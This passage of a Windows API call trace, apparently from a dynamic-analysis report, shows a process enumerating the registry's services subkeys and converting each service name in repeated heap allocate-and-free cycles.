hKey=0x15c, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Policies") returned 0x0 [0257.956] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0257.956] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x1de4720, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0257.957] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.957] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.957] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.957] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.957] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="services") returned 0x0 [0257.957] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0257.957] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x1de47b0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0257.957] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.957] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.957] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.957] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.957] RegOpenKeyExW (in: hKey=0x15c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x160) returned 0x0 [0257.957] RegCloseKey (hKey=0x15c) returned 0x0 [0257.957] RegEnumKeyW (in: hKey=0x160, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0257.957] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0257.957] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x1de4720, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0257.957] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.957] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.957] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.957] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.957] RegEnumKeyW (in: hKey=0x160, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0257.957] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0257.957] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x1de47b0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0257.957] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.957] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.958] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.958] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.958] RegEnumKeyW (in: hKey=0x160, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0257.958] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0257.958] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x1de4720, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0257.958] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.958] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.958] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.958] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.958] RegEnumKeyW (in: hKey=0x160, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0257.958] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0257.958] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x1de47b0, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0257.958] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.958] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.958] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.958] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.958] RegEnumKeyW (in: hKey=0x160, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0257.958] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0257.958] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x1de4720, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0257.958] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.958] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.958] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.958] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.958] RegEnumKeyW (in: hKey=0x160, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0257.958] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0257.959] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x1de47b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0257.959] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.959] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.959] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.959] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.959] RegEnumKeyW (in: hKey=0x160, dwIndex=0x6, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0257.959] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0257.959] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x1de4720, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0257.959] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.959] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.959] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.959] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.959] RegEnumKeyW (in: hKey=0x160, dwIndex=0x7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0257.959] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0257.959] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x1de47b0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0257.959] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.959] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.959] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.959] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.959] RegEnumKeyW (in: hKey=0x160, dwIndex=0x8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0257.959] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0257.959] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x1de4720, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0257.959] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.959] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.959] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.959] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.960] RegEnumKeyW (in: hKey=0x160, dwIndex=0x9, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0257.960] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0257.960] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x1de47b0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0257.960] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.960] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.960] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.960] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.960] RegEnumKeyW (in: hKey=0x160, dwIndex=0xa, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0257.960] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0257.960] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x1de4720, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0257.960] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.960] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.960] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.960] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.960] RegEnumKeyW (in: hKey=0x160, dwIndex=0xb, lpName=0x1dd29e0, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0257.960] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0257.960] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x1de47b0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0257.960] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.960] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.960] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.960] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.960] RegEnumKeyW (in: hKey=0x160, dwIndex=0xc, lpName=0x1dd29e0, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0257.960] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0257.960] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x1de4720, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0257.960] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.961] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.961] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.961] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.961] RegEnumKeyW (in: hKey=0x160, dwIndex=0xd, lpName=0x1dd29e0, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0257.961] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0257.961] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x1de47b0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0257.961] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.961] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.961] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.961] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.961] RegEnumKeyW (in: hKey=0x160, dwIndex=0xe, lpName=0x1dd29e0, cchName=0x104 | out: lpName="adsi") returned 0x0 [0257.961] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0257.961] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x1de4720, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0257.961] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.961] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.961] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.961] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.961] RegEnumKeyW (in: hKey=0x160, dwIndex=0xf, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0257.961] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0257.961] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x1de47b0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0257.961] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.961] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.961] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.961] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.961] RegEnumKeyW (in: hKey=0x160, dwIndex=0x10, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AFD") returned 0x0 [0257.961] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0257.962] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x1de4720, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0257.962] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.962] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.962] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.962] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.962] RegEnumKeyW (in: hKey=0x160, dwIndex=0x11, lpName=0x1dd29e0, cchName=0x104 | out: lpName="agp440") returned 0x0 [0257.962] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0257.962] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x1de47b0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0257.962] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.962] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.962] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.962] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.962] RegEnumKeyW (in: hKey=0x160, dwIndex=0x12, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ALG") returned 0x0 [0257.962] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0257.962] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, 